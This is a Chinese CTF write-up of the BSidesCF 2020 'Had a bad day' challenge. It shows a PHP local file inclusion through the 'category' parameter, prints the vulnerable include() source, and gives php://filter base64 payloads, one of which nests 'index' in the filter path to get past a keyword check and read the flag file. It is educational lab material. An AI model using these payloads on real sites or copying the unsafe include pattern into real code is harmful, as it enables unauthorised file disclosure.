首页 > 其他分享 >文件包含伪协议套协议

文件包含伪协议套协议

时间:2023-09-15 15:23:44浏览次数:34  
标签:category 协议 包含 文件 index filter bad php day

来自:

[BSidesCF 2020]Had a bad day

打开网页,可点两个按钮,点了点就是几个图片:

这里注意到网址有个category传参,应该是get传的,打开源码:

这里有点抽象,但是注意name=category,method=get,而且有src,估计是文件包含漏洞。

那就用经典filter协议:

?category=php://filter/convert.base64-encode/resource=index.php

注意这个payload,前面传参根据实际而定,大多数是file=php://....但是此处传的参是category,不要乱用了哦~~

虽然传上去寄了,但是这个回显足以说明方向是正确的。

本来这里已经断思路了,不得不去看wp,不知道怎么猜的是后缀名截断.....可能是从传的参只有文件名字但没有后缀猜的吧....

但是后面我仔细看一下报错信息:

 

两个php?

那就明白了,确实.php是代码添加上去的,我们只需要给文件名。

那payload删一下结尾的.php:

?category=php://filter/convert.base64-encode/resource=index

有回显,直接查看源码然后转码赋值看一下:(看来报错信息真的需要仔细看啊~~)

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>
            </div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

看起来很长,但主要中间一部分才是关键:

<?php
  $file = $_GET['category'];
  if(isset($file))
    {
      if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        include ($file . '.php');
          }
      else{
           echo "Sorry, we currently only support woofers and meowers.";
          }
    }
?>

意思就是传的这个参里面有woofers/meowers/index三选一就行了,这里就是php伪协议可以套个东西且不影响的知识:、

payload:

?category=php://filter/convert.base64-encode/index/resource=flag

直接传:

base64转码就是flag:

 

标签:category,协议,包含,文件,index,filter,bad,php,day
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17705078.html

相关文章

  • Web阶段:第九章:Http协议
    Http协议a)什么是HTTP协议什么是协议?是双方,或多方,相互约定一起遵守的规则,叫协议。HTTP协议?http协议是客户端和服务器之间通信,客户端和服务器都需要遵守的数据格式,以及内容叫协议。协议中的内容又叫报文。b)请求的HTTP协议格式协议分为请求协议和响应协议请求协议GET请求1、请求......
  • 洗面奶检测的项目包含哪些?
    洗面奶,属于面部洁肤制品。清洗皮肤时,洗面奶清洗的对象物是人体面部的皮肤分泌的皮脂、汗、剥离脱落的角质层细胞等从身体上产生的污垢,以及灰尘、各种微生物、美容化妆品残留物等来自外部的污垢。这些残留代谢产物是不稳定的,可与空气中的氧,或沉积分子反应。在暴露于阳光时或皮肤上有......
  • uniapp-文件上传
    一使用uni.uploadFile 二具体实现案例<template><viewclass="container">主页<button@click="getInfo()">测试接口</button></view><view><uni-sectiontitle="选择图片&qu......
  • Linux下文件的隐藏属性
    文件的属性主要有以下几种:A:当修改设置了'A'属性的文件时,它的atime(最后访问时间)记录不会改变.这可以在笔记本电脑系统中避免某些磁盘I/O处理.a:设置了`a'属性的文件只能在添加模式下打开用于写入。只有超级用户可以设置或清除该属性.c:设置了`c'属性的文件在磁盘上由内核自动进行......
  • 分布式协议与算法 概要
    最近系统性的学习了分布式协议与算法,在此做个小小笔记。理论拜占庭将军问题拜占庭将军问题(ByzantineGeneralsProblem)是一个著名的分布式系统中的问题,用于探讨在存在故障节点或恶意行为的情况下如何进行可靠的信息传递和共识达成。问题描述如下:假设有一组拜占庭将军围绕一座......
  • 软件测试|Docker cp命令详解:在Docker容器和主机之间复制文件/文件夹
    简介Docker是一种流行的容器化平台,它允许开发人员在独立、可移植的环境中构建、打包和部署应用程序。在使用Docker时,常常需要在Docker容器和主机之间进行文件的复制和共享。Docker提供了一个名为dockercp的命令,可以轻松地在容器和主机之间复制文件和目录。本文将详细介绍docker......
  • linux 中 readlink、realpath、find输出软链接文件绝对路径的差异
     001、[root@pc1test1]#ls##三个测试文件a.txtb.txttestfile[root@pc1test1]#ll-htotal4.0Klrwxrwxrwx.1rootroot20Sep1612:03a.txt->/home/test1/testfilelrwxrwxrwx.1rootroot20Sep1612:03b.txt->/home/test1/testfile-rw-r--......
  • 批量将图片文件名以水印添加到图片上
     由于近来需要将大量的图片全屏展示给观众,然而试了各种全屏播放的软件均不能使某些近视眼又不愿意戴眼镜的观众看到当前图片的文件名,于是乎通过py实现,将当前图片的文件名以水印添加到图片上,又大又红这下就看的清楚了。fromPILimportImage,ImageDraw,ImageFontimportos#......
  • linux 中 find命令忽略大小写查找文件
     001、 -iname选项实现忽略大小写查找[root@pc1test1]#ls##测试文件a.txta.TXTc.csvc.tXtd.txte.Txtf.csvk.map[root@pc1test1]#find./-name"*.txt"##一般查找./a.txt./d.txt[root@pc1test1]#find./-iname"*......
  • EventSource推送协议
    EventSource传输协议最近开发项目中, 有个需求是 客户端发送指令给服务端, 服务端接收指令,进行解析,解析完成才进行返回, 由于不是实时返回,当时考虑的两种技术方案 1运用定时器 进行轮询请求刷新, 2应用WebSocket, 考虑 轮询请求有点占用资源, 运用WebSocket有点没必......